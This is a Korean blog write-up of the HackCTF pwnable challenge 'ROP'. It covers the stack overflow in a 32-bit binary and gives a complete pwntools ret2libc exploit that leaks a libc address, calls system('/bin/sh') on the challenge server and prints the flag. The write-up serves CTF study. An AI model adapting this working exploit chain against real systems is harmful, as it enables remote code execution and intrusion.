[HackCTF / pwnable] ROP

2019. 10. 18. 07:54Wargame & CTF/HackCTF

HackCTF - ROP

Summary

  • 32bit

Analysis

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
 vulnerable_function();
 write(1, "Hello, World!\n", 0xEu);
 return 0;
}

vulnerable_function

ssize_t vulnerable_function()
{
 char buf; // [esp+0h] [ebp-88h]

 return read(0, &buf, 0x100u);
}

read때문에 buf에 버퍼오버플로우가 나게 된다.

Exploit

from pwn import *

e = ELF("./rop")
#p = process("./rop")
p = remote("ctf.j0n9hyun.xyz", 3021)
#libc = e.libc
libc = ELF("./libc.so.6")

pr = 0x0804850b
pppr = 0x08048509

payload = ""
payload += "A"*(0x88+0x4)

payload += p32(e.plt["write"])
payload += p32(pppr)
payload += p32(0x1)
payload += p32(e.got["write"])
payload += p32(0x4)

payload += p32(e.symbols["vulnerable_function"])

p.sendline(payload)
write_addr = u32(p.recv(4))
libc_base = write_addr - libc.symbols["write"]
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + list(libc.search("/bin/sh"))[0]

payload = ""
payload += "A"*(0x88+0x4)

payload += p32(system_addr)
payload += p32(pr)
payload += p32(binsh_addr)

p.sendline(payload)

p.interactive()

일단 system함수가 쓰이지 않았다. libc base를 찾아서 system함수로 쉘을 띄우면 된다.

write함수로 write의 got를 출력한다. 그리고 vulnerable_function으로 돌려서 입력을 다시 한번 더 받는다.

write의 got를 구했으므로 libc base를 구할수있다.

libc base가 있으므로 system함수의 주소를 알수있다.

system주소와 libc안에 있는 "/bin/sh"의 주소를 넘기면 쉘이 뜬다.

Flag

cg10036@cg10036-virtual-machine:~/hackCTF/rop$ p ex.py 
[*] '/home/cg10036/hackCTF/rop/rop'
  Arch:     i386-32-little
  RELRO:   Partial RELRO
  Stack:   No canary found
  NX:       NX enabled
  PIE:     No PIE (0x8048000)
[+] Opening connection to ctf.j0n9hyun.xyz on port 3021: Done
[*] '/home/cg10036/hackCTF/rop/libc.so.6'
  Arch:     i386-32-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[*] Switching to interactive mode
$ cat flag
HackCTF{4bcd3fg7ijPlmA4pqrtuvxza2cdef}


'Wargame & CTF > HackCTF' 카테고리의 다른 글

[HackCTF / pwnable] You are silver  (0) 2019.10.19
[HackCTF / pwnable] Unexploitable #1  (0) 2019.10.18
[HackCTF / pwnable] Pwning  (0) 2019.10.18
[HackCTF / pwnable] Gift  (0) 2019.10.18
[HackCTF / pwnable] Look at me  (0) 2019.10.15